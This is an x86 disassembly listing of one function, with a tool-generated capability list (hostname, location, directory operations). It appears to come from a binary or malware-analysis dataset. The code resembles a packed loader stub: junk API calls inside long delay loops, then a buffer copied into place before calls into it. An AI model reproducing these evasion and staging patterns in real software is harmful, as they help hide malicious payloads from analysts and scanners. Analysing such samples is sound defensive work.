Function at 0x430250
Capabilities:
Create directory
Get common file path
Get geographical location
Get hostname
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8f4
mov eax, dword [0x43b004]
xor eax, esp
mov dword [esp + 0x8f0], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
jmp 0x430280
call edi
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
cmp esi, 0x176afc
jg 0x4302a3
inc esi
cmp esi, 0x365ea5f8
jl 0x430280
jmp 0x4302b6
cmp dword [0x2be36b4], 0xa
jne 0x4302b6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x4302d2
mov eax, dword [0x43cbc4]
mov dword [0x2be36b8], eax
cmp dword [0x2be36b4], 0x3c
jne 0x4302de
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x4302c0
cmp dword [0x2be36b4], 0x7c
jne 0x430366
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x2e
lea edx, [esp + 0x1c]
push ebx
push edx
mov dword [esp + 0x20], ebx
call fcn.004070d0
add esp, 0xc
push ebx
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push str.hamiraz
call dword [sym.imp.KERNEL32.dll_AddAtomW]
lea ecx, [esp + 0xf8]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
cmp dword [0x2be36b4], 0x2d
jne 0x430366
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
cmp dword [0x2be36b4], 0x110a
jne 0x4303e0
push ebx
lea edx, [esp + 0xfc]
push edx
push ebx
push ebx
mov dword [0x2be3320], ebx
mov dword [0x2be3324], ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push ebx
push ebx
call fcn.004012a9
push 0x4393c4
push str.0__f
push 0x43dca0
call fcn.00401187
add esp, 0x14
push ebx
call fcn.0040126f
add esp, 4
push ebx
push ebx
call fcn.004012a9
add esp, 8
call fcn.0042f7d0
xor ecx, ecx
cmp dword [0x2be36b4], ebx
jbe 0x43041b
nop
mov edx, dword [0x2be36b8]
mov dword [esp + 0x10], edx
mov eax, 0xa231
add dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov dl, byte [eax + ecx]
mov eax, dword [0x2be1234]
mov byte [eax + ecx], dl
inc ecx
cmp ecx, dword [0x2be36b4]
jb 0x4303f0
call fcn.004300c0
call fcn.0042f800
call fcn.004301c0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
xor esi, esi
mov ebx, 0x41
cmp dword [0x2be36b4], ebx
jne 0x430447
push 0
push 0
push 0
call edi
cmp esi, 0xbd9cb
jne 0x430459
add dword [0x2be1234], 0
inc esi
cmp esi, 0x15a63d
jl 0x430437
mov ebx, dword [esp + 0x1c]
mov edi, dword [sym.imp.USER32.dll_GetClassLongA]
xor esi, esi
mov edi, edi
push 0
push 0
call edi
cmp esi, 0x1ac2b
jle 0x430486
cmp ebx, 0xf5bee1
jne 0x43048f
inc esi
cmp esi, 0x1ebc2db6
jl 0x430470
mov ecx, dword [esp + 0x8fc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004010f4
mov esp, ebp
pop ebp
ret